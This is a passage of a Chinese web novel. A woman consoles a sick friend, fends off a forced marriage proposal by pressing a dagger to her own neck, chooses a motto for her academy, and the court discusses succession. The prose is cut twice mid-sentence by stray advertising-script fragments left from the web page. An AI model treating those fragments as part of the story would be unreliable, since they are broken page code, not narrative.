是重视你,为了你的女儿,连小女儿也愿意搭上,只是,这世间男子难道都死绝了吗?非要一个个都嫁给朱郎君?” 沈沅被陆萸嘲讽羞红了脸,一时不敢再作答。 陆萸缓和了心中的愤愤之情后,才道:“瑶姐姐不会同意,你也歇了这个心思吧,若你想把瑶姐姐坑进来,我会后悔今日浪费时间来看你。” “我,我真没有那样想”沈沅急切的解释着。 “那就得你自己立起来,你浪费时间在此伤春悲秋,你的孩子就会有样学样,日后长大了也只会步你的后尘”陆萸自知道沈玉父母的打算后,说话一点都不想委婉了。 这都是什么父母呀?沈玉明明说过他的父母都很开明,把孩子都教养的很好,怎么感觉有种被骗的感觉。 “我知道了,我只是不舍罢了。” “你舍不得那个已经把你抛之脑后的男人,所以让你女儿跟着你受苦?”陆萸刚才进来的时候就发现了,正妻的院子里,照顾的下人却寥寥无几。 若换成她,她可咽不下这种气,沈氏在江东也是世家大族,又岂会怕朱氏? 沈沅听了,开始“嘤嘤”的哭出声来,这也是自医官诊断后,那些下人才敢怠慢。 陆萸听着心烦不已,也不知沈玉当初是如何开导沈沅的。 等了一会,她才道:“若瑶姐姐不愿意,朱郎君续娶其他女子后,你女儿可能会被人日日磋磨,你作何还要执迷不悟在这里浪费时间掉眼泪?” 沈沅听了,怔怔地看着陆萸:“你说的对,已经很久没有人这么和我说话了。” 她在这里举目无亲,即便后来和同僚的夫人相交,也都是出于礼节的泛泛之交,家中父母又因为心疼她舍不得说重话,沈玉就更别提了,哪里舍得骂自己姐姐。 如今陆萸说话虽然难听,却字字句句都说进她心坎里了。 陆萸总算摸到一些和她说话的方式,于是不耐烦道:“赶紧把眼泪擦了,我每天都忙着挣钱,时间何其宝贵,你不知道耽误了我多少银两。” 沈沅知道陆萸和弟弟合伙卖书籍,也羡慕过陆氏对她的宽容,于是道:“抱歉,我会让阿弟赔给你的。” 陆萸有些无语,想到那个活泼开朗的沈瑶,她又耐着性子和沈沅说了一些书院孩子读书的艰辛。 沈沅这种世家娇养出来的女子自是从未见识过那样艰难困苦的人生,忍不住问:“那他们是怎么活下来的呢?” “自强不息者,自有活下来的法子。” 顿了一下,陆萸又道:“你可以带着你女儿去看看山阴书院,兰亭山的风景很好。” 会稽太守是沈沅的伯父,她想去那里完全有理由。 听此言,沈沅也有些心动,她知道阿弟是书院的名誉讲师,也曾好奇过被大家夸赞不已的书院。 她犹豫着问:“我可以去吗?” 陆萸笑着凑近她耳畔,低语:“放心去吧,那书院是我设计的,只要我给负责校舍的老师写一封信,他们就会接待你,只是你得替我保密。” 沈沅听后,睁着大大的眼睛,满眼不可思议,悄声问:“他们说的陆小公子,就是你?” 陆萸看了看门口,忙比了个禁声的动作,然后笑道:“我不会骗你就是,放心去吧,哪怕住在里面都没问题。” 沈沅闻言,暂时忘了连日以来为何郁郁,而是擦了眼泪,重新认真审视起眼前的女子。 在以前,她听说过陆萸改良了茶叶,和工匠鼓捣出了太平纸,然后整日跟着陆三叔学习开书店,如今,她才真正知道,开书店是假,办书院才是真。 阿弟没有告诉自己这些,是为保护眼前的女子吧? 可如今为了开解自己,她主动暴露,沈沅如何能不心生感动。 她伸手握住陆萸的手道:“你的好意,我会铭记在心的,此刻我也能理解何为真正的走出去。” 真正的走出去,是把目光看向更远的地方,而不是困在男人身后这方寸宅院间。 陆萸心想,自己这次不算白来,至少给沈沅找到了一个容易实现的目标,她就是太闲了,等以后慢慢被有意义的事吸引后,她就能完全走出来了。 不过这期间,沈玉和曹壬那边还得继续加把劲巩固治疗才是。 陆萸又和她说了一些这次去长安路上的见闻,沈沅听完后眼神更坚定了。 她的女儿午休醒了,被乳母抱进来向陆萸行礼。 陆萸见到像年画上的一样女娃,一高兴就赏了她一包金豆子。 沈沅笑道:“知道你会挣钱,但也不该这样浪费的。” “阿娘终于笑了”小女孩高兴的扑进沈沅的怀中。 陆萸笑道:“我没说错吧,她可聪明着呢。” 沈沅紧紧搂住自己的女儿,眼神坚定地看着陆萸,道:“我会尽快好起来,然后先去华亭赏鹤,再去山阴看伯父。” “就这么说定了,我在华亭等你”陆萸笑着答。 “陆姨,华亭的鹤是仙人的坐骑吗”小女孩问。 陆萸愣了一下,笑道:“不是,他们自身就是仙,是一群自由自在的仙鸟。” 70. 第七十章 求娶 陆萸陪着沈沅的女儿玩了一会,才和沈沅作别,此时,太阳已经落山。 凑巧的是,才走至院中,她就遇到了刚到达南昌的朱慎和朱琳,于是笑着向兄妹俩行礼打招呼。 朱琳看陆萸的眼神很敷衍,只随意点了头就进屋了。 自那次马球场上的变故后,她对陆氏姐早已不复以往的热络,陆萸倒也能理解,这才是她的真性情。 反倒是朱慎,一脸的惊喜的看着陆萸:“我们又见面了,阿萸。” 陆萸礼貌回礼:“朱公子安好。” 仿若没发现陆萸话语中的疏离,朱慎道: “我有要事想和你商议,可你一直未回建业,不知现下有时间吗?” 他能有什么要事?陆萸有些犹豫,只是想到次兄和他的关系,于是问:“是何事?” 朱慎道:“你去前面花园等我,待我向嫂子问过安后就去寻你。” 他才说完,侍从安吉笑着向陆萸行礼:“烦请女公子随奴婢前往花园。” 陆萸虽有疑虑,却想到这里是太守府,三叔还在府中,朱慎应该不会乱来,于是跟着安吉去了花园。 深冬的花园没有什么景致可看,荷塘的荷花早已凋谢,此刻连叶子都已经枯萎,只剩一派萧瑟。 院中的树也光秃秃的,随着太阳下落,空荡荡的花园时不时吹过阵阵冷风,好在她已经感受过长安的冬天,所以此时还算能够忍受这样的寒冷。 她百无聊赖地在亭中等了一会,才见朱慎急匆匆赶来。 他疾步入亭中,道:“原也不想这般匆忙,只我在建业等了你半年都未等到你,所以只能用这种不正式的方式约你,还请你见谅。” 听到那句等了半年,陆萸瞬间有一种不好的预感,心里立刻盘算起要找个什么理由尽快离开这里。 她问:“朱公子有何要事需要和我相商?” 朱慎如何看不出她的疏离和戒备,可他只假装不懂,一脸歉意道:“让你在这里等着,冷吗?” 陆萸摇了摇头。 朱慎出言让安吉去亭子外守着,三伏便只能也跟着出去了。 亭中只剩二人,朱慎才走近陆萸,一脸认真道:“你及笄礼后,我去陆府提亲可好?” 他话音刚落,陆萸瞬间大惊失色,她明明记得他一直以来对自己和对那些女孩没有什么不同,怎么才半年未见,他突然就看上自己了呢? 这是距离产生美了?她可不信自己有什么强大的人格魅力吸引了眼睛长在头顶上的朱慎。 朱慎突如其来的热情确实将她吓得不轻,以至于刹那间找不到话语回答,唯有一脸难以置信地看着他。 “我知道在这里问这样的问题太过唐突,可我真的不想娶曹翁主,你帮帮我可好?”朱慎问。 陆萸听后,刚才的疑惑瞬间解开了,心中顿生怒火,他不想娶别人与自己何干?难道他提亲只为让自己去当挡箭牌? 想来因为其他女孩子在他眼中不如自己木讷胆小好操控,所以才想到自己? 真是好大的脸,也真是好歹毒的计谋! 她不着痕迹地退后一步后,冷笑出声:“乐意帮你的女郎那么多,我觉得朱公子找错人了。” 朱慎一听,忙出言解释:“阿萸,也许是我表达错误,让你误解了,我想娶的女郎只有你。” “可我不想嫁你”陆萸毫不犹豫地答。 闻言,朱慎震惊地看着她问: “为,为何?你明明心中也有我,为何” 陆萸被他的迷之自信弄得既哭笑不得又恶心,立马大声打断:“小女子蒲柳之姿配不上朱公子,还请朱公子另觅良人。” 言毕,不等他回答,立马转身想要离开亭子。 谁知朱慎却像疯了似的,见状立即伸手去拉她的手,道:“话还未说清楚,你不可离去。” 他是习武之人,手上的力气岂是陆萸能挣脱的,突如其来的一个拉扯,让着急离开的她被这股力道硬生生扯倒在地上。 电光火石间,好在她还能伸出一只手迅速撑在地上,不然这脸估计要破相了。 只是双膝避让不及之下,以跪姿狠狠地撞在了亭中石板地面,瞬间让她疼得说不出话来。 朱慎也没想到只是轻轻一拉,竟然让她摔倒,忙蹲下身看着她,关切道:“对不起,我不是故意的,有没有伤到你?” 钻心的疼痛一阵一阵自膝盖上传来,陆萸忍了好一会,才冷漠地看着他:“还请朱公子放手。” 见她如此陌生的表情,朱慎想起多年前,她和他一起跑马,想起她为他烹茶,想起她那时明媚的笑。 一时只能怔怔地回:“告诉我理由,我就放手。” 闻言,陆萸气急而笑:“我不愿意,朱公子难道听不懂吗?” 朱慎被她眼中的嘲讽深深刺痛,瞬间无法言语,脑海中不停问着:不愿意吗?为何不愿意? 三伏在亭子外时刻关注着亭中的陆萸,才看到陆萸摔倒,便不管不顾冲了进去,对着朱慎就是一掌。 在怔愣的朱慎终于三伏这一掌风迅速拉回现实,他也不是吃素的,一只手用力将陆萸从地上拉起,一只手还能快速去接三伏的袭击。 第一掌未能成功,三伏再次毫不留情地使出第二掌。 这人是纯公子的好友,所行之事却如此下作无礼,纯公子真是交友不慎,这般想着,她出掌的时候又快又狠。 面对如此攻势,朱慎迅速将陆萸拉在身后,然后用心以双手去迎战。 终于得了自由,陆萸也顾不得二人谁输谁赢,只想立即从亭子中跑出去 见陆萸对自己毫不留恋,朱慎高声痛呼:“安吉,拦住她。” 陆萸一瘸一拐地费了好大力气才跑到亭子入口,就被安吉拦住了去路。 只听安吉道:“还请女公子多担待。” 她真没想过,即使是在太守府,朱慎竟然也没想过遮掩,以前真是高看他的人品了。 一气之下,她拔出匕首对准自己的脖子,转身看着朱慎高声质问:“朱公子今日如何才可罢休?” 朱慎见此,着实被吓到了,分神间未来得及避让,生生受了三伏一掌。 这一掌让他堪堪退了几步,他却未还击,而是急切的看着陆萸:“你把匕首放下,我们好好说话可好?” “我与朱公子无话可说”陆萸又将匕首推进些许。 就在朱慎想继续劝她放下匕首时,花园入口处突然传来一声急呼:“阿弟不得无礼。” 朱太守和三叔来了,陆萸终于心口一松,收起匕首,也顾不得下台阶时膝盖传来的疼痛感,拼尽全力向陆显跑去。 陆显见到这样的侄女,迅速迎上去,扶住她问:“小九受伤了?” 陆萸此时疼得额头直冒冷汗,却不想叔父与朱太守起争执,只是忍着痛摇了摇头。 朱太守见到陆萸颈间的伤口,心中顿生怒火,看着朱慎大声呵斥道:“你还愣在那里做什么,还不快来给陆妹妹道歉?” 这一声大喝,终于让朱慎恢复了理智。 他刚刚只是被陆萸的拒绝和她那副对自己避如蛇蝎的态度气昏头了,才会如此冲动,如今理智回笼,他又成了那个人人称赞的朱郎君。 他理了理经历一番打斗后弄乱的衣袍,然后快速走出亭子。 走至陆萸面前,他双手抱拳弯腰行大礼:“阿萸,方才是我冲动了,还请你原谅我,只是我说过的话也不会收回,还请你回去考虑考虑。” 三伏正在用手帕给陆萸擦伤口上的血,若非朱太守来了,她真想拼尽全力把眼前的伪君子打趴在地。 虽然刚刚经历了一番惊吓,陆萸此刻却也无半点花容失色,只平静而冷漠地回:“我已经明确答复过朱公子,因此也没有考虑的必要。” 言毕,她扭头对陆显道:“三叔,我们现在就回华亭。” 原计划,叔侄俩要在南昌太守府休息一夜再出发的,毕竟从长安到南昌这一路大家赶路都太累了。 也是因为有这个打算,陆萸才没有犹豫多久就应了朱慎的相约。 只是经方才的事,今夜是住不成太守府了,鬼知道,夜深人静之时,朱慎会不会又出什么幺蛾子。 想起那些被卢公子掳走的女子最后只能认命为妾,陆萸愈发害怕,也顾不得和朱太守作别,忙对陆显道:“三叔父我们快走。” 朱慎见陆萸竟然连一个眼神都不愿留给自己,头也不回的转身,情急之下还想伸手去拉,却被朱太守狠狠扇了一巴掌。 陆显也没想到会发生这么多事,忙向朱太守抱拳道:“今日多谢贤侄一番款待,只是我们叔侄着急赶回华亭,就不做逗留了,来日再来府上叨扰。” 朱太守向来温文尔雅的假面早就挂不住了,可还得挤出礼貌的笑,回礼:“此次是某招待不周,还请陆叔父多担待,也替我向妹妹赔个不是,下次我一定赔上厚礼。” 陆显又和他客套一番,见侄女越走越远,才立即追了上去。 朱慎站在花园中,眼睁睁地看着陆萸的背影消失在眼前,却无能为力。 太阳终于 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 完全落下,天色渐暗,万籁既寂,心里却有个声音不断提醒着他:今日一别,和阿萸将无再见之期。 一时间既懊恼自己的冲动,又对她的态度茫然不解。 朱太守见弟弟脸上的红手印,轻叹一声:“抱歉,情急之下,我下手有些重,你先去擦药吧。” “阿兄,她为何不愿意呢?”朱慎双眼无神地看着朱太守问。 “不愿意就是不愿意,何必需要理由?”朱太守不耐烦地反问。 朱慎动了动嘴唇,却始终回答不了这个问题,脸上没有因刚才一巴掌觉得疼,反而因为这个问题感觉到火辣辣的热,于是忙垂下头掩饰住这股羞意,默然转身离去了。 真的不需要理由吗?可为何呢?他也不知道想要从她口中听到怎样的理由,才会让此刻的心情好受一些。 深冬的夜晚寒风皱起,吹得廊下的灯笼微微摇晃,昏黄的灯光在风的吹拂下忽明忽暗,走在回廊下的朱慎,第一次发现,南昌的冬天可以这样冷。 朱太守看着弟弟的背影,神色凝重,不曾想,向来以冷静自持并被家中长辈寄予厚望的弟弟,也会有如此冲动的时候。 不想嫁一个人,还需要什么理由?弟弟就是从小被家里人捧得太高,忘了这世间还有很多东西不是自己想要就能得到的。 只是看到自启蒙后就一直意气风发如天之骄子般的弟弟,一瞬间被现实狠狠打脸后,那股颓然之色藏都藏不住,他又忍不住心疼。 不多时,朱琳的婢女从花园外急匆匆跑进来,战战兢兢地向朱太守请示:“女郎君听闻慎郎君被陆氏女公子拒绝后,一直在屋里砸东西骂陆氏,卑职担心被夫人听到,所以来请使君去劝说一二。” 朱琳骂的不是陆萸,而是整个陆氏,她认为陆纯害了她的未婚夫,害了她的姻缘,如今陆萸又拒了她的兄长,整个陆氏没有一个好东西。 她住在沈沅隔壁的院子,杂东西骂那些不堪入耳的话,肯定会惊动隔壁的沈沅养病,婢女多次劝说无果后,才不得不来这里找朱太守。 朱太守闻言,额头再次“突突突”地疼痛不已,真不知母亲是怎么教育弟弟妹妹的,一个个都不是省心的。 他边赶去朱琳的院落,边问自己的随仆:“夫人今日见过陆妹妹后,可有什么异样?” 他和沈沅青梅竹马,自幼两情相悦,成亲后夫妻感情也很好,只是后来沈沅总是疑神疑鬼,动不动就生气,慢慢的把之前那些情意消磨掉了。 纳妾后,他越来越喜欢温柔又善解人意的侍妾,却也从未想过动摇沈沅正妻的位子。 反而是她心思越来越重,导致病入膏肓,当听到医官说她可能熬不过这个冬天时,他心里还是难过的。 奈何她不知悔改,整日冷脸相对,再次把他的耐心给磨掉了。 这次陆氏叔侄上门,他本可以拒绝,但想到沈沅或许真的时日无多,就一时心软让陆萸去她的院子。 随仆道:“夫人和陆女公子相谈甚欢,用过药后,还用了一小碗粥。” 闻言,朱太守道:“夫人那里你继续让人盯着,有什么状况及时来报。” 随仆忙连声答诺。 沈沅被陆萸一番开解后,心情确实有所好转,后来听到朱琳在隔壁咒骂,偷偷让陪嫁婢女去打听了一番。 听过婢女打听来的消息,她坐在床前,脸上有前所未有的神采,她笑道:“真不愧是母亲想要替弟弟求娶的女郎,可惜弟弟不懂珍惜。” 婢女也忙附和:“听闻有很多女郎想嫁给慎郎君,陆女公子确实是个另外。” 闻言,沈沅轻嘲出声:“难道天下男儿都死绝了吗?为何非要一个个赶着嫁给姓朱的?” 婢女不知今日陆萸和夫人聊过什么,如今见夫人生气,忙道:“夫人说的是,听闻姒翁主对慎郎君穷追不舍,若是陆女公子真应了慎郎君,恐要遭其刁难报复。” 过了一会,从隔壁院子传来的咒骂声渐渐小了,沈沅用过药后,让婢女搀扶着在房中慢慢绕圈散步。 陆萸和她说过,除了有好心情还得有好体魄,要不忘下床适当运动,才能恢复得更快,才能给女儿谋划未来。 所以哪怕累得额头直冒虚汗,她也坚持着走了两圈。 临睡前,她想着明日一定要把今日发生的事都写信告知弟弟,除了和他分享自己心态的转变,让他少担心一些,还要让他日后防着朱慎。 毕竟去今日这般情绪失控的朱慎是很危险的,若他知道沈氏也想为弟弟求娶陆萸,指不定会对弟弟下黑手。 71. 第七十一章 信仰 陆萸离开太守府后,直至坐在陆氏的马车内才终于放松下来,她边让三伏替自己擦药,边和陆显说了亭子中发生的事。 陆显听过事情始末,也不打算留在南昌过夜,而是催促部曲整装出发,方才朱慎那副气急败坏的样子确实吓到他了,这和他以前认识的朱慎相差太大了。 陆萸脖颈处的伤口只是皮外伤,虽看起来吓人,但擦掉血迹后涂抹止血药就不疼了,膝盖处却砸伤比较厉害,才一会功夫,已经有一大片乌青,皮下还隐隐泛红。 见状,三伏给她涂抹跌打损伤的药,然后用手指轻轻按摩揉捏想办法将肿块揉散。 钻心的疼痛袭来,陆萸忙道:“三伏,你轻些。” 看到夜幕降临,陆萸有些自责,毕竟大家都赶了这么久的路,本该好好休息一下,于是道:“三叔父,让你跟着我受累了。” 陆显看了看陆萸脖颈处的伤口,安抚道:“我多年行商,比这艰苦的经历多了去了,你无需自责。只是,日后再遇到今日这种困境,莫要再拿自己的生命开玩笑,匕首那么锋利,若有什么偏差,你让我如何向父亲和兄长交代?” 陆萸想说她有分寸的,但看到三叔脸上的关切,忙点点头道:“我以后不会了,方才只是想到他和次兄交好,所以才想赌一把。” “人心不可试探,不要用自己的性命去堵虚无缥缈的良知”陆显肃色道。 陆萸听了,忙一脸受教,道:“侄女定会谨记在心。” 其实刚才她也是情急之下不得已而为之,让她用匕首对安吉下手,她下不去手,于是想到出此下策,好在朱慎尚有一丝良知。 匕首确实锋利,只是轻轻一碰,脖颈处的皮就破了一个口子,不知当初在密林中陷入绝境之时,曹壬是以多大的勇气,才一次又一次用它将掌心割破的。 看着别在腰间的匕首,陆萸有些后悔把时间约在佛诞日之后了,若是再往前一点,她是否可以早点见到他呢? 陆氏叔侄是在元旦前赶至华亭的,至华亭后,陆萸立即和陆歆说了这一路发生的事,以及她和曹壬的约定。 陆歆听后,顿了须臾,才问:“所以,你不想出嫁,是想招婿?” 才听这一问,陆萸口中的茶汤差点喷了出来,自己以前怎么没想过可以招婿呀?招婿的话成亲后她还可以继续如今的事业,只是,家里长辈能同意吗? 看出她眼中的疑惑,陆歆捋须一笑道:“若你有这种想法,倒也不是不可。” “孙女明年才行及笄礼,招婿之事还是缓一缓吧,孙女只想先完成书院的事”陆萸忙解释。 陆歆点点头:“你有大志向是好事,至于婚事,我会向你父母明说,不让他们插手。” 有个如此开明的祖父就是好,陆萸激动又欣喜地起身行礼:“孙女先谢过祖父。” 陆歆摆摆手,笑道:“强扭的瓜不甜,无论是朱氏还是沈氏,只要你不愿,陆氏自然不会强迫于你,只是慧悟法师入赘之事,还得从长计议。” “祖父,他若入赘,就不再是慧悟法师了”陆萸忙提醒道。 陆歆闻言,捋须大笑几声道:“我知道,管他是谁,反正得从长计议。” 原以为祖父听了朱慎和沈氏想要求娶自己的事后会为难,毕竟两家都是世交,哪家都不好得罪,谁曾想他竟然毫不在意,反而一副有孙女荣焉的表情,这下弄得陆萸有些害羞,于是轻咳一声掩饰后,忙说了第二件事。 如今已成立三所星火书院,书院成立的初衷是想让更多求知心切的人以更低的门槛寻得求知的机会,只是,若想让书院更有影响力,就得有自己的院训,也叫校训。 “你已经想好用什么院训了?”陆歆收起方才的笑,郑重地问。 “为天地立心,为生民立命,为往圣继绝学,为万世开太平” 陆萸想起后世那四句三观极正的信仰,她每说完一句时,就看到陆歆眼中的惊叹和赞赏越来越深。 见他听后久久不言,她问:“祖父觉得这样的院训如何?” 静默须臾,陆歆问:“孔子云:己所不欲,勿施于人,是为仁也,孟子云:夭寿不二,修身以俟之,所以立命也,你所说的“往圣”是其二人?” “往圣非单指其二人,是先儒的统称,现今玄学昌盛,追求无为自然,然在孙女看来,这些都是在逃避现实罢了,我认为:星火书院的学员应当树立正确的价值观,保持清醒的头脑,才能以务实积极的心态去应对可能随时会来临的乱世。” 陆萸回答问题的时候,眼中泛着坚毅的光,仿若装着一轮冉冉升起的太阳。 她不是想独尊儒术,但她理想中的书院不该培养出只会沉迷清谈逃避社会现实的学生,哪怕他们从书院学有所成后只能成为大魏各个州郡的蝇头浊吏,他们的初心也该是积极向上的。 她接着道:“王侯将相宁有种乎,焉知时势造就的英雄不是出自星火书院?书院的学子自入学伊始,就该培养积极向上的三观,哪怕出英雄的机会渺茫,我亦不想错过。” 陆歆对陆萸之前说的在梦中去过另一个世界的事深信不疑,所以也知道何为三观。 以前,他知道她一系列大胆且新颖的想法皆来自那个世界,哪怕是开书店,建书院,他也只当她是在复刻那个时代的文明,可今日听过她的院训,他对她又有了新的认知。 若记性好,能把见过的复刻下来其实不算难事,但在见识并体验过世家纸醉金迷的生活后,还能不迷失自己,始终保持一颗纯正的心却很难。 短短四句院训,凝聚了大境界、大襟怀、大抱负和大担当,象征着求知学者的使命意识和责任担当。哪怕这些不是她所作,却能让她铭记不忘并想到用来做星火书院的院训,已超越这世间太多受过知识熏陶的人。 “你想用,就用吧,明年三月份所有书院包括星火课堂都贴上院训”陆歆道。 “可会受到清谈人事的抵触?”陆萸问。 陆歆听后,轻笑一声:“他们不是追求无为吗?又怎会分得出精力来管这些?再者,自书院成立之始,陆氏就已做好被他们口诛笔伐的准备了,有何可惧?” 有祖父这番霸气的回答,陆萸也就没什么可担忧的了,而是开始琢磨起怎么才能把书院开得更多一些。 一句口诛笔伐提醒了她,任何时代,读书人的声音都是不容小觑的存在,书院一旦铺满整个大魏,那将是一股隐形的力量,在必要的时候,寒门学子的声音也可以起到世家们想象不到的作用。 陆氏的祭祖一如以往的在华亭完成,看着氤氲的香雾中,先祖陆公伯言的排位,陆萸再次深深一拜。 先祖伯言公能以一己之力在孙权的苛政下为东吴的百姓寻求到喘息养生的机会,她相信如今的祖父也能带领陆氏族人为那些苟延残喘夹缝求生的平民百姓寻得太平之道。 祭祖结束后,他们都回去了,陆萸因和沈沅约好一起赏鹤,所以留在了华亭。 沈沅被陆萸开解后,又收到过几次沈玉的书信,信中句句禅理既通俗易懂,又能说到她的心坎里,让她慢慢学会放下。 于是,原本被预言可能熬不过冬天的她不但活下来了,还精气神十足,主动提出要带孩子去华亭赏鹤。 朱太守因朱慎的事觉得对陆氏有亏,所以如今沈沅不但活下来还想主动结交陆氏,哪有不允的道理,不但允她去华亭还备了一车贵重的礼品,算是向陆萸赔礼。 陆萸见到沈沅母女的时候,见到她红润的脸颊,心底松了一口气,看来沈玉和曹壬那边的开解也很有效果。 那日离开南昌后,她立即给沈玉写了信,连着他父母打算让沈瑶做继室的事也一并说了,不过未提朱慎的事。 她知道沈玉和曹壬去了鸡鸣寺,信件直接送去鸡鸣寺,所以比沈沅的信早到了三天。 沈玉看过信后,先是对父母的糊涂气愤不已,又对姐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姐的病情担心不已,待看到信的最后有一句:“烦请代我向君期问好”时他轻笑出声:“想写信给他,直接写就是,还要我转来转去,真是让人看不起。” 嘴上这么说着,他却也不忘去找曹壬说了详情,如今他们二人已成了惺惺相惜的好友。 待收到沈沅的信后,他顾不得曹壬还在抄经书,立马就把信给曹壬看了。 曹壬看完信后,神色凝重:“这事还得怨我当初识人不明。” “所以,你当初还给阿萸和朱慎牵线了?”沈玉一脸匪夷所思地问。 曹壬点点头:“是我之过,如今差点害了阿萸。” 沈玉一听,气急而笑:“你这叫自讨苦吃,说吧,除了我和他,你还推荐了谁?我好提醒阿萸做好防备。” 曹壬听后,反而一脸不悦地回:“配的上阿萸的郎君哪有那么好找?” 好吧,敢情自己还该觉得荣幸?沈玉轻嘲一声道:“能和他一起被你选中,真是我的耻辱。” 曹壬此时也很是自责,真想不到当年阿萸费尽心思接近朱慎时,他爱理不理,如今这事都过去好几年了,他又想要和自己抢阿萸? 如此一想,曹壬觉得自己不该答应阿萸到佛诞日以后再决断,就该在完成鸡鸣寺的任务后立即还俗去建业找她。 他问:“若我直接去建业找阿萸,她可会生气?” 沈玉此刻正在看他的笑话,听此一问,摇摇头:“我又不是阿萸,如何得知?” 见曹壬一脸凝重,他安慰道:“阿萸回了华亭,那里有陆侯在,只要她不愿意,任何人都勉强不了她,你无需担忧,该认真参佛早日抄完经书才是。” 曹壬低头看了看抄到一半的经书,想到阿萸临行前的交待,叹道:“如今也只能如此了。” 安和十三年,才入春,便发生了两件大事。 第一件:因大魏去年发生太多天灾人祸,曹启皇帝在立春之始于明堂祭祀,以祈福大魏百姓今年能风调雨顺,和以往不同的是:这次祭祀,曹启皇帝主动提出让南安王世子一同出席。 这可是太子才该有的殊荣,一时间大魏上下纷纷猜测:历时三年,皇帝陛下终于要确定下一任太子人选了吗? 第二件事:北方的鲜卑在去年寒冬里熬不下去后,趁着大魏年关休息之际,开始大肆烧杀抢掠大魏北境的城池,雁门关守城的将领即将抵挡不住攻势,紧急寻求支援。 于是,陆萸和沈沅在华亭的清闲日子只过了十天,一封紧急军令便打破了这份宁静。 收到请求支援的急奏后,因无人主动请缨,朝堂上开始了一番激烈的争论。 原定北侯曾带领万军打得鲜卑几十年不敢来犯,如今朝中自然想到让继承了定北侯爵位的陆九叔带兵前去支援雁门关,可陆九叔从未上过战场,让他领兵简直就是让大魏的将士们去送死。 如今手中有兵马的西平王需要安定西域,雍州牧需要安定匈奴边境,唯有荆州牧和广州牧还算在太平之地。 大家吵了三天后,皇帝最终决定由荆州牧陆烈领兵前去雁门关支援,而在陆烈出征期间,荆州政务暂由扬州刺史杨充代管。 由于时间太过紧迫,朝廷军令才下,陆烈便带着八万大军开拔前往北境了,粮草军需由卢太尉负责筹备补给。 安和十三年的整个春天,陆氏所有人的心都系在了北境的将士身上。 三月初一,雍州星火书院如期开学。 此次开学,大儒旬维随陆歆一同前往长安讲学,雍州星火书院的《开学第一课》非常精彩,也是这一天,全大魏所有书院和课堂将刻有院训的石碑立了起来。 前方战事仍在持续,学子们在看到院训中的那句“为万世开太平”时,心情激动,心潮澎湃已然达到顶峰。 三月初十,完成鸡鸣寺参学课程也抄完需要带回白马寺的经书后,曹壬和白马寺其他僧人在陆显和陆氏部曲的护送下赶回洛阳。 72. 第七十二章 期待 洛阳皇宫,永巷以北是为永宁宫,俗称北宫,历任太后在先帝驾崩后,皆会从中宫迁往永宁宫,此时永宁宫的主人是太后谢氏。 谢太后只是先帝的继后,但她在这座宫殿中见证了陈郡谢氏的兴衰,也见证了曹启皇帝的成长历程。 曹启皇帝虽非先帝之子,她却始终对他视如亲子,他的任何决定她都不曾干涉,甚至需要她提供支持的时候,也从不犹豫。 她和曹启皇帝不是母子却胜似母子,在这座古老的宫殿内相互扶持着走过了二十八个春秋。 因此,曹启皇帝对她非常尊重爱护,哪怕当初他亲手把以谢太傅为首的政敌斗出朝堂,他都不曾对她怠慢半分。 入夜,春寒料峭,夜空中只有少许玄月。 自陆烈领兵北上后,曹启忧思不已,常到永宁宫找太后诉苦。 “母后,这些年,朕真的太累,真想就这样撒手不管了,这天下,谁爱要就给谁”曹启皇帝叹道。 谢太后已经不记得这是他第几次发出这样的感叹,刚开始,她还开解一二,如今早已习惯,只是在一旁安静听着,反正他每次想撂挑子,都没成功。 尝试过权利滋味的人,又有几个真舍得放下权力呢?皇帝也只是凡人罢了。 须臾过后,谢太后笑回:“你不是已经让南安王世子去明堂祭祀了吗?以后让他替你分担一些,就不会这么累了。” 曹启皇帝听了,嘴角露出一丝轻蔑之色,“就他?朕不过是想通过他钓几条鱼罢了,他哪里有资格替朕分担?” 谢太后端茶碗的手一顿,想到皇帝这些年的行事,静默片刻才道:“你这一出,让大家都以为他会是下一任太子,昨日成都王小世子还和哀家说洛阳太冷,想回成都了。” 成都王世子是几个藩王公子中年龄最小的,也是看起来最没城府的一位,用他的话说:他就是来洛阳玩的,等见识完洛阳景致,吃完洛阳的美食后,他就会回去。 成都确实比洛阳暖和,也更加湿润,他早就想回去了。 成都王在世子临行前再三交代过:那些公子都是大哥哥,你争不过,所以不要去争,安心玩到选定新太子后回成都就行。 提到那个性格跳脱的成都王世子,曹启皇帝又想到自己的年少时光,叹道:“还是年轻好,朕像他这么大的时候也不喜欢洛阳。” 他未被先帝过继为太子的时候,身为清河王世子的他,在清河郡随几个兄弟学习生活,虽学业繁重却没有朝臣整日盯着他,年少时光很是轻松惬意。 谢太后见他开始追忆往昔,也不由自主去回忆当初才来洛阳的皇帝,她记得他被选定之时,脸上看不出太多喜悦之情。 也是,这皇宫,不过是一个巨大的牢笼罢了,又有几人会真心向往呢? “哀家不知你作何打算,只是,他日你选定他人,曹善发现自己空欢喜一场时,会不会因心存嫉恨而报复?”谢太后担忧道。 “此子能力配不上野心,却又心狠手辣,竟然差人去刺杀已入佛门的兄长,若让他继位,我曹氏子孙又有几人能过安稳日子?”曹启皇帝义愤填膺地回。 他让夏侯湛查了那些刺客,万万没想到竟然是曹善的亲随差人去的,虽然亲随早已逃离洛阳,曹善却无论如何都洗脱不了嫌疑。 他这次祭祀就是故意让曹善露脸,好钓出在背后支持他的人,若想让人疯狂必先让其膨胀,他倒要看看,待他膨胀后,背后有多少世家是迫不及待找他投投名状的。 谢太后也没想到,那个每次请安时一副文质彬彬温文尔雅的曹善,竟然会是这样的人,惊诧道:“真是他所为?” 曹启皇帝点点头,“夏侯湛所查,错不了。” “母后,曹氏子孙本就不如世家昌盛,已入佛门的兄长,他姑且容不下,那这些和他一起竞争过的公子们,以后又如何能安生回封地?” 谢太后听后,久久没能回过神来,想想陈王的七步诗,再想想大魏建朝以来从未出现过因皇位而兄弟相残的惨事,她也很认同皇帝之言。 哪怕当年武帝偏心陈王,文帝继位后也只是清算陈王党羽,对陈王却未下杀手,反而用一首诗给他下了台阶。 “其先祖能写出:本是同根生相煎何太急,他却只因朕多次去白马寺就对自己兄长痛下杀手,简直令人发指”曹启皇帝提起这事,依然难平愤恨。 “或许,还有其他原因呢?”谢太后觉得只因为这样的理由就对亲兄弟赶尽杀绝,确实太过狭隘了。 “或许吧,只是朕也无从查起” 